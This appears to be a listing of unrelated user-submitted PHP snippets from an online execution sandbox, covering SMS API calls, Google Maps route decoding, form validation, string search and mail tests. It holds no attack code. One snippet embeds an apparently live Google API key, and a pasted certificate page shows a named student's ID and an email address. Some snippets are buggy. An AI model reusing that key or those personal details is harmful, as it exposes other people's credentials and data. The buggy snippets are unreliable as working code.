<?php $curl = curl_init(); $apikey = 'somerandomkey';//if you use apikey then userid and password is not required $userId = 'YourUsername'; $password = 'YourPaswword'; $sendMethod = 'simpleMsg'; //(simpleMsg|groupMsg|excelMsg) $messageType = 'text'; //(text|unicode|flash) $senderId = 'SMSGAT'; $mobile = '9199999999999,9199999999998';//comma separated $msg = "This is my first message with SMSGatewayCenter"; $scheduleTime = '';//mention time if you want to schedule else leave blank curl_setopt_array($curl, array( CURLOPT_URL => "http://www.smsgateway.center/SMSApi/rest/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "userId=$userId&password=$password&senderId=$senderId&sendMethod=$sendMethod&msgType=$messageType&mobile=$mobile&msg=$msg&duplicateCheck=true&format=json", CURLOPT_HTTPHEADER => array( "apikey: $apikey", "cache-control: no-cache", "content-type: application/x-www-form-urlencoded" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; }

Testing Project

<?php $curl = curl_init(); $apikey = 'somerandomkey';//if you use apikey then userid and password is not required $userId = 'YourUsername'; $password = 'YourPaswword'; $sendMethod = 'simpleMsg'; //(simpleMsg|groupMsg|excelMsg) $messageType = 'text'; //(text|unicode|flash) $senderId = 'SMSGAT'; $mobile = '9199999999999,9199999999998';//comma separated $msg = "This is my first message with SMSGatewayCenter"; $scheduleTime = '';//mention time if you want to schedule else leave blank curl_setopt_array($curl, array( CURLOPT_URL => "http://www.smsgateway.center/SMSApi/rest/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "userId=$userId&password=$password&senderId=$senderId&sendMethod=$sendMethod&msgType=$messageType&mobile=$mobile&msg=$msg&duplicateCheck=true&format=json", CURLOPT_HTTPHEADER => array( "apikey: $apikey", "cache-control: no-cache", "content-type: application/x-www-form-urlencoded" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; }

pro sms

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php $var = '12'; if( is_string ($var) ) echo '111';

calculador de rodas e.e

<?php $tipo = null; $quatro = "carro"; $dois = "moto"; $seis = "onibus"; $oito = "caminhao"; ?> <!DOCTYPE html> <html lang="pt-br"> <head> <title>Contador de rodas e.e</title> <meta charset="utf-8"> </head> <body> <?php if($tipo == $quatro){ echo "O Carro tem 4 rodas!"; } else if($tipo == $dois){ echo "A Moto tem 2 rodas!"; } else if ($tipo == $seis){ echo "O ônibus tem 6 rodas!"; } else if ($tipo == $oito){ echo "O Caminhão tem 8 rodas!"; } ?> </body> </html>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, this is mad boi!</h1>\n"; ?> </body> </html> <?php echo "b"; $data = file_get_contents("https://maps.googleapis.com/maps/api/directions/json?key=AIzaSyB8BlsC5J6xjWgHpax6Vc1ah03K44h5jrg&origin=0.536122,101.430536&destination=0.499891,101.418421&sensor=false&mode=driving&alternatives=true"); $dataz = json_decode($data); echo $data; echo "z"; //echo json_encode($dataz->routes[0]->legs[0]->steps[0]->polyline->points); //decode($dataz->routes[0]->legs[0]->steps[0]->polyline->points); function decode($string){ $byte_array = array_merge(unpack('C*', $string)); $results = array(); $index = 0; # tracks which char in $byte_array do { $shift = 0; $result = 0; do { $char = $byte_array[$index] - 63; # Step 10 # Steps 9-5 # get the least significat 5 bits from the byte # and bitwise-or it into the result $result |= ($char & 0x1F) << (5 * $shift); $shift++; $index++; } while ($char >= 0x20); # Step 8 most significant bit in each six bit chunk # is set to 1 if there is a chunk after it and zero if it's the last one # so if char is less than 0x20 (0b100000), then it is the last chunk in that num # Step 3-5) sign will be stored in least significant bit, if it's one, then # the original value was negated per step 5, so negate again if ($result & 1) $result = ~$result; # Step 4-1) shift off the sign bit by right-shifting and multiply by 1E-5 $result = ($result >> 1) * 0.00001; $results[] = $result; } while ($index < count($byte_array)); # to save space, lat/lons are deltas from the one that preceded them, so we need to # adjust all the lat/lon pairs after the first pair for ($i = 2; $i < count($results); $i++) { $results[$i] += $results[$i - 2]; } # chunk the array into pairs of lat/lon values var_dump(array_chunk($results, 2)); echo json_encode(array_chunk($results,2)); }?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $input = [ 0 => 3, // сколько наивысших результатов выдавать в ответе 'judge 1' => [ // первый судья 'contestant A' => rand(1,100), 'contestant B' => rand(1,100), 'contestant C' => rand(1,100), 'contestant D' => rand(1,100), 'contestant E' => rand(1,100), 'contestant F' => rand(1,100), ], 'judge 2' => [ 'contestant A' => rand(1,100), 'contestant B' => rand(1,100), 'contestant C' => rand(1,100), 'contestant D' => rand(1,100), 'contestant E' => rand(1,100), 'contestant F' => rand(1,100), ], 'judge 3' => [ 'contestant A' => rand(1,100), 'contestant B' => rand(1,100), 'contestant C' => rand(1,100), 'contestant D' => rand(1,100), 'contestant E' => rand(1,100), 'contestant F' => rand(1,100), ], 'judge 4' => [ 'contestant A' => rand(1,100), 'contestant B' => rand(1,100), 'contestant C' => rand(1,100), 'contestant D' => rand(1,100), 'contestant E' => rand(1,100), 'contestant F' => rand(1,100), ], 'judge 5' => [ 'contestant A' => rand(1,100), 'contestant B' => rand(1,100), 'contestant C' => rand(1,100), 'contestant D' => rand(1,100), 'contestant E' => rand(1,100), 'contestant F' => rand(1,100), ], 'judge 6' => [ 'contestant A' => rand(1,100), 'contestant B' => rand(1,100), 'contestant C' => rand(1,100), 'contestant D' => rand(1,100), 'contestant E' => rand(1,100), 'contestant F' => rand(1,100), ], ]; $query = json_encode($input); $data = array('data' => $query); $myCurl = curl_init(); curl_setopt_array($myCurl, array( CURLOPT_URL => 'https://nakama.online/api1.php', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($data) )); $response = curl_exec($myCurl); curl_close($myCurl); $output = json_decode($response,true); Header('Content-type: text/html; charset=utf-8'); echo "<table border=2><tr><th>Входящие данные</th><th>Результат подсчёта</th></tr><tr><td>"; foreach ($input as $i => $v) { if ($i===0) { echo "выдавать результатов в ответе: ".$v."<ul>"; } else { echo "Оценки ".$i.":<br><ul>"; foreach ($v as $j => $vv) { echo "<li>".$j." - ".$vv."</li>"; } echo "</ul>"; } } echo "</ul></td><td><ol>"; foreach ($output as $j => $vv) { echo "<li>".$j." - ".$vv."</li>"; } echo "</ol></td></tr></table>"; ?> </body> </html>

komal

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

dfdfdfd

<?php $curl = curl_init(); $apikey = 'somerandomkey';//if you use apikey then userid and password is not required $userId = 'YourUsername'; $password = 'YourPaswword'; $sendMethod = 'simpleMsg'; //(simpleMsg|groupMsg|excelMsg) $messageType = 'text'; //(text|unicode|flash) $senderId = 'SMSGAT'; $mobile = '9199999999999,9199999999998';//comma separated $msg = "This is my first message with SMSGatewayCenter"; $scheduleTime = '';//mention time if you want to schedule else leave blank curl_setopt_array($curl, array( CURLOPT_URL => "http://www.smsgateway.center/SMSApi/rest/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "userId=$userId&password=$password&senderId=$senderId&sendMethod=$sendMethod&msgType=$messageType&mobile=$mobile&msg=$msg&duplicateCheck=true&format=json", CURLOPT_HTTPHEADER => array( "apikey: $apikey", "cache-control: no-cache", "content-type: application/x-www-form-urlencoded" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; }

Principal Desk

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

https://globalspot.gr/modules/skroutz/xml.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

array_combine_and_array_column

<?php $models = [ ['id' => 1, 'title' => 'array'], ['id' => 2, 'title' => 'functions'], ['id' => 3, 'title' => 'combine'], ]; $id_to_title = array_combine( array_column($models, 'id'), array_column($models, 'title') ); print_r($id_to_title);

https://www.caddcentre.com/caddVerification.php?ddac=NzMwODE4

?<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="theme-color" content="#ee242c"> <link rel="shortcut icon" type="image/x-icon" href="/favicon-30years.ico"> <title>Verify Your Certificates Online, Enter your Student Identification Number & Certificate Number</title> <meta name="description" content="CADD Centre offers Certificate Verification, an online facility, Please enter a valid Student Identification Number or Certificate Number." /> <meta name="keywords" content="cad certification,cadd centre certificate,online certification courses,autocad certificate,cad certification courses,pmp certification courses" /> <meta name="robots" content="index,follow" /> <meta name="revisit-after" content="5 days" /> <meta name="msvalidate.01" content="27D3228D7567D3192734B5276E75CC55" /> <meta name="language" content="english"> <meta name="author" content="CADD Centre Training Services Pvt. Ltd"><script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-69005882-1', 'auto'); ga('send', 'pageview'); </script> <link rel="stylesheet" href="css/bootstrap.min.css"> <link rel="stylesheet" href="js/form-validator/theme-default.min.css"> <link rel="stylesheet" href="css/style.css"> <link rel="stylesheet" href="css/timeline.css"> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <script src="js/jquery.min.js"></script> <script src="js/form-validator/jquery.form-validator.min.js"></script> <script src="js/jquery.placeholder.label.js"></script> <script src="js/function.js"></script> <script src="js/popper.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/timeline.min.js"></script> <!--<script src="js/jquery-1.10.2.js"></script>--> <link href="css/lightbox.css" rel="stylesheet" type="text/css" /> <script src="js/lightbox.js"></script> <!--WebSite Markup--> <script type="application/ld+json"> { "@context": "http://schema.org/", "@type": "WebSite", "name": "CADD Centre Training Services", "url": "https://www.caddcentre.com" } </script> <!--Organization Markup--> <script type="application/ld+json"> { "@context": "http://schema.org", "@type": "EducationalOrganization", "name": "CADD Centre Training Services", "url": "https://www.caddcentre.com", "logo": "https://www.caddcentre.com/images/logo.png", "contactPoint": { "@type": "ContactPoint", "telephone": "+1-800-425-0405", "contactType": "customer service", "contactOption": "TollFree", "areaServed": "IN", "availableLanguage": "English" }, "sameAs": [ "https://www.facebook.com/caddcentre", "https://twitter.com/caddcentre", "https://plus.google.com/+CaddcentreWsccts/posts", "https://www.youtube.com/c/CADDCentreTrainingServices", "http://www.linkedin.com/company/cadd-centre" ] } </script> <!--Breadcrumbs Markup--> <script type="application/ld+json"> { "@context": "http://schema.org/", "@type": "BreadcrumbList", "itemListElement": [ { "@type": "ListItem", "position": "1", "item": { "@id": "https://www.caddcentre.com/PlanYourCareer/", "name": "Plan Your Career Now", "image": "https://www.caddcentre.com/PlanYourCareer/images/logo.jpg" } }, { "@type": "ListItem", "position": "2", "item": { "@id": "https://www.caddcentre.com/Engineeria/index.html", "name": "Engineeria", "image": "https://www.caddcentre.com/Engineeria/img/logo.png" } } ] } </script> </head> <body> <!--top--> <!--top--> <!--search--> <div class="container bg-white position-absolute pt-2 pb-4 " id="commonSearch"> <h1 class="h3 font-weight-light text-center ">Looking for a solution</h1> <hr class="w-15"> <div class="row pt-2"> <div class="col-md-3"> <label for="I am">I am a</label> <select name=" class="form-control" id="> <option value=">Select</option> </select> </div> <div class="col-md-4"> <label for="I am">looking for</label> <select name=" class="form-control" id="> <option value=">Select</option> </select> </div> <div class="col-md-4"> <label for="I am">more specifically</label> <select name=" class="form-control" id="> <option value=">Select</option> </select> </div> <div class="col-md-1 pt-4"> <button class="btn btn-block btn-blue text-white">GO</button> </div> </div> </div> <!--search/--> <div class="top d-none d-sm-block"> <div class="container"> <div class="row"> <div class="col-md-10 "> <ul class="list-inline top_menu" > <li class="list-inline-item"><a href="https://www.caddcentreglobal.com/index.php" target="_blank">CADD Centre Overseas</a></li> <li class="list-inline-item">|</li> <li class="list-inline-item"><a href="caddAbout.php">About Us</a></li> <li class="list-inline-item bg-danger px-2"><a href="timeline.php" >30 Years of CADD Education</a></li> <li class="list-inline-item"><a href="student-corner.php">Student's Corner</a></li> <li class="list-inline-item">|</li> <!--li class="list-inline-item"><a href="certificate_request.php">Certificate Request</a></li--> <!--li class="list-inline-item">|</li--> <li class="list-inline-item"><a href="contact.php">Contact Us</a></li> <li class="list-inline-item" style="float:right;"><a href="tel:18004250405">Toll Free 1800 425 0405</a></li> </ul> </div> <div class="col-md-2 text-right pt-1"> <a href="https://www.facebook.com/caddcentre" target="_Blank"><i class="fa fa-facebook-square social-font text-light" aria-hidden="true"></i></a> <a href="https://twitter.com/caddcentre" target="_Blank"><i class="fa fa-twitter-square social-font text-light" aria-hidden="true"></i></a> <a href="https://plus.google.com/+CaddcentreWsccts/posts" target="_Blank"><i class="fa fa-google-plus-square social-font text-light" aria-hidden="true"></i></a> <a href="http://www.linkedin.com/company/cadd-centre" target="_Blank"><i class="fa fa-linkedin-square social-font text-light" aria-hidden="true"></i></a> <a href="https://www.youtube.com/c/CADDCentreTrainingServices" target="_Blank"><i class="fa fa-youtube-square social-font text-light" aria-hidden="true"></i></a> <!--<i class="fa fa-search social-font text-light" aria-hidden="true" id="searchButton"></i>--> </div> </div> </div> </div> <!--top ends--> <!--/top--> <!--nav--> <div class="container p-0"> <nav class="navbar navbar-expand-lg navbar-light bg-faded "> <a class="py-3 navbar-brand" href="index.php"><img src="images/logo.png" class="img-fluid" ></a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div id="navbarNavDropdown" class="navbar-collapse collapse"> <div class="search_block"> <form class="form-inline top_form" style="float:left;" action="search.php"> <input type="text" class="form-control" name="keyword" id="keyword" placeholder="Search"> <div class="input-group-addon" style="padding: 1px 1px;"> <button type="submit" class="search_btn"><i class="fa fa-search"></i></button> </div> </form> </div> <ul class="navbar-nav ml-auto pt-5" > <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdownMenuLink" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Our Programs </a> <div class="dropdown-menu " aria-labelledby="navbarDropdown" > <div class="container" > <div class="row pt-3"> <div class="col-md-4"> <ul class="nav flex-column"> <li class="nav-item"> <a class="nav-link border-bottom border-danger h6 text-danger" href="#"><i class="fa fa-chevron-circle-right text-danger"></i> Our Courses</a> </li> <li class="nav-item"> <a class="nav-link" href="mechanical-cadd-training-course.php">Mechanical CADD</a> </li> <li class="nav-item"> <a class="nav-link" href="electrical-cadd-training-course.php">Electrical CADD</a> </li> <li class="nav-item"> <a class="nav-link" href="civil-cadd-training-course.php">Civil Design</a> </li> <li class="nav-item"> <a class="nav-link" href="architectural-cadd-training-course.php">Architectural CADD</a> </li> <li class="nav-item"> <a class="nav-link border-bottom border-danger h6 text-danger" href="#"><i class="fa fa-chevron-circle-right text-danger"></i> Certification</a> </li> <li class="nav-item"> <!-- <a class="nav-link" href="certificate_request.php">Certificate Request</a> --> <a class="nav-link" href="https://student.caddcentre.com/certificate-indent">Certificate Request</a> </li> <li class="nav-item"> <a class="nav-link" href="employer-verification.php">Certificate Verification</a> </li> <li class="nav-item"> <a class="nav-link" href="https://www.ccube.asia/">Competency Certification</a> </li> <li class="nav-item"> <a class="nav-link border-bottom border-danger h6 text-danger" href="#"><i class="fa fa-chevron-circle-right text-danger"></i> Student Corner</a> </li> <li class="nav-item"> <a class="nav-link" href="interpret-online-certificate.php">How to interpret Online Certificate</a> </li> <li class="nav-item"> <a class="nav-link" href="privilege-card.php">Privilege Card</a> </li> <li class="nav-item"> <a class="nav-link" href="student-deliverables.php">Student Deliverables</a> </li> </ul> </div> <!-- /.col-md-4 --> <div class="col-md-4"> <ul class="nav flex-column"> <li class="nav-item"> <a class="nav-link border-bottom border-danger h6 text-danger" href="#"><i class="fa fa-chevron-circle-right text-danger"></i> Individual Software Programs</a> </li> <li class="nav-item"><a class="nav-link" href="3dprinting-software-training-course.php">3D Printing</a></li> <li class="nav-item"><a class="nav-link" href="3dsmax-software-training-course.php">3ds Max</a></li> <li class="nav-item"><a class="nav-link" href="5dbim-navisworks-software-training.php">5D BIM using Navisworks</a></li> <li class="nav-item"><a class="nav-link" href="acadd-v2020-software-training-course.php">ACADD V2020</a></li> <li class="nav-item"><a class="nav-link" href="ansysfluent-software-training-course.php">ANSYS Fluent</a></li> <li class="nav-item"><a class="nav-link" href="ansysworkbench-software-training-course.php">ANSYS Workbench</a></li> <li class="nav-item"><a class="nav-link" href="autocad-mechanical-software-training.php">AutoCAD Mechanical</a></li> <li class="nav-item"><a class="nav-link" href="autocad3d-software-training-course.php">AutoCAD 3D</a></li> <li class="nav-item"><a class="nav-link" href="autocadarchitects-civilengineers-training.php">AutoCAD for Architects</a></li> <li class="nav-item"><a class="nav-link" href="autocadcivil3d-software-training-course.php">AutoCAD Civil 3D</a></li> <li class="nav-item"><a class="nav-link" href="autocadelectrical-software-training-course.php">AutoCAD Electrical</a></li> <li class="nav-item"><a class="nav-link" href="autocad-electrical-electronics-engineering-training.php">AutoCAD for Electrical and Electronics Engineer</a></li> <li class="nav-item"><a class="nav-link" href="autodeskinventor-software-training-course.php">Autodesk Inventor</a></li> <li class="nav-item"><a class="nav-link" href="catiav5-software-training-course.php">CATIA</a></li> <li class="nav-item"><a class="nav-link" href="catiakinematics-software-training-course.php">CATIA Kinematics</a></li> </ul> </div> <!-- /.col-md-4 --> <div class="col-md-4"> <ul class="nav flex-column pt-4 mt-1"> <li class="nav-item"><a class="nav-link" href="geometric-dimensioning-tolerancing-training.php">Geometric Dimensioning &amp; Tolerancing</a></li> <li class="nav-item"><a class="nav-link" href="hvac-training-course.php">HVAC</a></li> <li class="nav-item"><a class="nav-link" href="microstation-software-training-course.php">MicroStation</a></li> <li class="nav-item"><a class="nav-link" href="mxroad-software-training-course.php">MX ROAD</a></li> <li class="nav-item"><a class="nav-link" href="nxnastran-software-training-course.php">NX Nastran</a></li> <li class="nav-item"><a class="nav-link" href="non-destructive-testing-training-course.php">Non-Destructive Testing (QA/QC)</a></li> <li class="nav-item"><a class="nav-link" href="nxcad-software-training-course.php">NX CAD</a></li> <li class="nav-item"><a class="nav-link" href="prosteel-software-training-course.php">Prosteel</a></li> <li class="nav-item"><a class="nav-link" href="reverse-engineering-training-course.php">Reverse Engineering</a></li> <li class="nav-item"><a class="nav-link" href="revitarchitechture-software-training-course.php">Revit Architecture</a></li> <li class="nav-item"><a class="nav-link" href="revitmep-software-training-course.php">Revit MEP</a></li> <li class="nav-item"><a class="nav-link" href="sketchup-software-training-course.php">SketchUp</a></li> <li class="nav-item"><a class="nav-link" href="solidworks-software-training-course.php">SolidWorks</a></li> <li class="nav-item"><a class="nav-link" href="solidworksmotion-software-training-course.php">SolidWorks Motion</a></li> <li class="nav-item"><a class="nav-link" href="staadpro-software-training-course.php">STAAD.Pro</a></li> </ul> </div> <!-- /.col-md-4 --> <!--<div class="col-md-3"> <ul class="nav flex-column pt-4 mt-1"> <li class="nav-item"><a class="nav-link" href="aecosim-software-training-course.php">AECOsim *</a></li> <li class="nav-item"><a class="nav-link" href="ansyscivil-software-training-course.php">Ansys Civil *</a></li> <li class="nav-item"><a class="nav-link" href="archicad-software-training-course.php">ArchiCAD *</a></li> <li class="nav-item"><a class="nav-link" href="autodesk-quantitytakeoff-software-training.php">Quantity Takeoff *</a></li> <li class="nav-item"><a class="nav-link" href="creo-software-training-course.php">Creo Paramatric *</a></li> <li class="nav-item"><a class="nav-link" href="creosimulate-software-training-course.php">Creo Simulate *</a></li> <li class="nav-item"><a class="nav-link" href="etabs-software-training-course.php">ETABS *</a></li> <li class="nav-item"><a class="nav-link" href="hypermesh-software-training-course.php">Hypermesh *</a></li> <li class="nav-item"><a class="nav-link" href="msp-aec-ppmconcept-training.php">MSP (AEC) with PPM concept *</a></li> <li class="nav-item"><a class="nav-link" href="msp-electrical-ppmconcept-training.php">MSP (Electrical) with PPM Concepts *</a></li> <li class="nav-item"><a class="nav-link" href="msp-mechanical-ppmconcept-training.php">MSP (Mechanical) with PPM concept *</a></li> <li class="nav-item"><a class="nav-link" href="nxcam-software-training-course.php">NX CAM *</a></li> <li class="nav-item"><a class="nav-link" href="plantdesign-management-system-training-course.php">Plant Design Management System *</a></li> <li class="nav-item"><a class="nav-link" href="rccdetailing-autocad-structuraldetailing-training.php">RCC Detailing using AutoCAD Structural Detailing *</a></li> </ul> <!--<a href="> <img src="https://dummyimage.com/200x100/ccc/000&text=image+link" alt=" class="img-fluid"> </a> <p class="text-white">Short image call to action</p> </div>--> <!-- /.col-md-4 --> </div> </div> <!-- /.container --> </div> </li> <li class="nav-item"> <a class="nav-link" href="institutional-training-program.php"> Institutional Training </a> </li> <li class="nav-item"> <a class="nav-link" href="corporate-training-courses.php"> Corporate Training </a> </li> <li class="nav-item"> <a class="nav-link" href="government-sector-training.php"> For Government </a> </li> <li class="nav-item"> <a class="nav-link" href="https://www.caddcentre.com/PlanYourCareer/">Plan Your Career </a> </li> <li class="nav-item"> <a class="nav-link" href="franchise-business-opportunities.php">Franchise</a> </li> <li class="nav-item"> <a class="nav-link" href="network.php">Network</a> </li> </ul> </div> </nav> </div> <!--nav/--> <!--nav/--> <!--banner--> <div class="inner-banner container"> <img src="images/banner/CertificateVerificationValidation.jpg" class="img-responsive" alt="/> </div> <!--banner ends--> <div class="container p-0"> <nav aria-label="breadcrumb"> <ol class="breadcrumb"> <li class="breadcrumb-item"><a href="#">Home</a></li> <li class="breadcrumb-item active" aria-current="page">CADD Centre Certificate Verification</li> </ol> </nav> </div> <!--content--> <div class="container py-2"> <div class="row"> <!--left--> <div class="col-md-8 border-right pr-4"> <h6 class="h5 text-danger">CADD Centre Certificate Verification</h6> <table class='table table-striped table-bordered'><tr><td>Name</td><td><b>RISVIN USMAN</b></td></tr><tr><td class='strong_first'>Student ID</td><td><b>M180653503</b></td></tr><tr><td class='strong_first'>Course Code</td><td><b>M19L10007</b></td></tr><tr><td class='strong_first'>Course Title</td><td><b>Course on AutoCAD for Mechanical Engineers</b></td></tr><tr><td class='strong_first'>Software Used</td><td><b>AutoCAD For Mechanical Engineers </b></td></tr> <tr><td class='strong_first'>Start Date</td><td><b>Jun'2018</b></td></tr><tr><td class='strong_first'>Completion Date</td><td><b>Jun'2018</b></td></tr><tr><td class='strong_first'>Centre Name</td><td><b>Alappuzha</b></td></tr></table> </div> <!--left ?--> <div class="col-md-4 pl-4"> <div class="pb-4 "> <h3 class="text-dark h5 font-weight-bold">CADDZoom Monthly newsletter SUBSCRIBE NOW!</h3> <div class="bg-dark p-4"> <img src="images/caddzoom.png" class="img-fluid" alt="> <a href="http://newsletter.caddcentre.com/" class="text-white" target="_blank"><button class="btn btn-danger">SUBSCRIBE</button></a> </div> </div><!--<div class="py-2 border-bottom"> <h3 class="text-dark h5 font-weight-bold">Existing student</h3> <a class="text-danger" href="https://www.caddcentre.com/caddExistStudent.php" >Joining for an additional course <i class="fa fa-chevron-right" aria-hidden="true"></i></a> </div>--> <div class="py-2 border-bottom"> <h3 class="text-dark h5 font-weight-bold">Alumni Speak</h3> <p>Alumni experiences and opinions are of value to us and to our future students.</p> <a class="text-danger" href="caddAlumniSpeak.php" >Please take this survey <i class="fa fa-chevron-right" aria-hidden="true"></i></a> </div> <div class="py-2 border-bottom"> <h3 class="text-dark h5 font-weight-bold">Plan Your Career</h3> <p>Use the module to find a career path uniqely designed for you!</p> <a class="text-danger" href="PlanYourCareer/index.php" >Get Started <i class="fa fa-chevron-right" aria-hidden="true"></i></a> </div> </div> </div> </div> <!--content/--> <!--fees--> <div class="red-bg"> <div class="container"> <div class="row py-5 justify-content-between"> <div class="col-md-8"> <h2 class="h2 text-white font-weight-light">Fees and Financial Assistance</h2> <p class="text-white pt-2"> Know about the variety of initiatives taken by the CADD Centre to provide financial assistance to students to support their skill development. We work in alliance with SBI to provide financial aid to students and help them pursue and acquire new skills. For more details please visit your nearest CADD Centre. </p> </div> <div class="col-md-3 pt-3"> <img src="images/NSDC.jpg" class="img-responsive" /> </div> </div> </div> </div> <!--fees ends-->

http://tpcg.io/iHjXHM

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

hgffg

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

testing

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

String Lib PHP

<?php $k="; $pat= "; function slen ($k){ $i=0; while (true){ if (!isset($k[$i])) break; $i++; } return $i; } function srev ($k){ $x=slen($k); $l="; for ($i=$x-1;$i>=0;$i--){ $l[$x-$i-1]=$k[$i]; } return $l; } function sword ($k){ $x=slen($k); $y=0; for ($i=0;$i<$x;$i++){ if (ord($k[$i])!=32&&($i==0||ord($k[$i-1])==32)) $y++; } return $y; } function crprefix ($k){ $x=slen($k); $p=array(); $p[0]=0; for ($i=1;$i<$x;$i++){ $p[$i]=$p[$i-1]; while ($p[$i]>0){ if ($k[$p[$i]]==$k[$i]) { $p[$i]++; break; } else $p[$i]=$p[$p[$i]-1]; } if ($p[$i]==0&&$k[$p[$i]]==$k[$i]) $p[$i]++; } return $p; } function findintext($a, $pat, $p){ $x=slen($a); $y=slen($pat); $j=0; $z=0; $f=array(); for ($i=0;$i<$x;$i++){ while ($z>0){ if ($pat[$z]==$a[$i]) { $z++; break; } else $z=$p[$z-1]; } if ($z==0&&$a[$i]==$pat[$z]) $z++; if ($z==$y) {$f[$j]=$i-$y; $j++; $z=$p[$z-1];} } return $f; } $ain=fopen('php://stdin', "r"); $aout=fopen('php://stdout', "w"); fscanf ($ain, "%d", $t); while ($t--){ fscanf ($ain, "%d", $qq); fscanf ($ain, "%s", $pat); fscanf ($ain, "%s", $k); $p=crprefix($k); $ss=findintext($k, $pat, $p); $g=count($ss); for ($i=0;$i<$g;$i++){ fprintf ($aout, "%d\n", $ss[$i]+1); } } fclose($ain); fclose ($aout); ?>

hello

<html> <style> body{ background-color:powderblue; } h2 { color:blue; } p2 { color:red; } </style> <body> <?php $name=$date=$gender="; $nameerr=$dateerr=$gendererr="; if($_server["REQUEST_METHOD"]="post") { if (isset($_POST['value'])) { if (empty($_POST["name"])) { $nameErr = "Name is required"; } else { $name = test_input($_POST["name"]); } if (empty($_POST["date"])) { $dateerr = "DATE is required"; } else { $date = test_input($_POST["date"]); } if (empty($_POST["gender"])) { $gendererr = "gender is required"; } else { $gender = test_input($_POST["gender"]); } } } function test_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } ?> <h2> Php validation example</h2> <p><span class="error">* required field</span></p> <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> Name:<input type="textbox" name="name"><br> <span class="error">* <?php echo $nameerr;?></span> DateOfBirth<input type="date" name="date"><br> <span class="error">* <?php echo $dateerr;?></span> Gender:<input type="radio" name="gender" value="Male">Male <input type="radio" name="gender" value="FeMale">Female <input type="radio" name="gender" value="others">Others<br> <span class="error">* <?php echo $gendererr;?></span> <input type="submit"><br> </form> <p2>Your Input</p2> <?php echo $name; echo "<br>"; echo $date; echo "<br>"; echo $gender; ?> </body> </html>

<?php $to = 'zeeshux7860.zx@gmail.com'; $subject = 'Payton Maker Verification Code'; $message = 'hello World'; $headers = 'From: zeeshux7860.zx@gmail.com' . "\r\n" . 'Reply-To: webmaster@example.com' . "\r\n"

<?php $to = 'zeeshux7860.zx@gmail.com'; $subject = 'Payton Maker Verification Code'; $message = 'hello World'; $headers = 'From: zeeshux7860.zx@gmail.com' . "\r\n" . 'Reply-To: webmaster@example.com' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); var_dump(mail($to, $subject, $message, $headers)); ?>

qazxsw

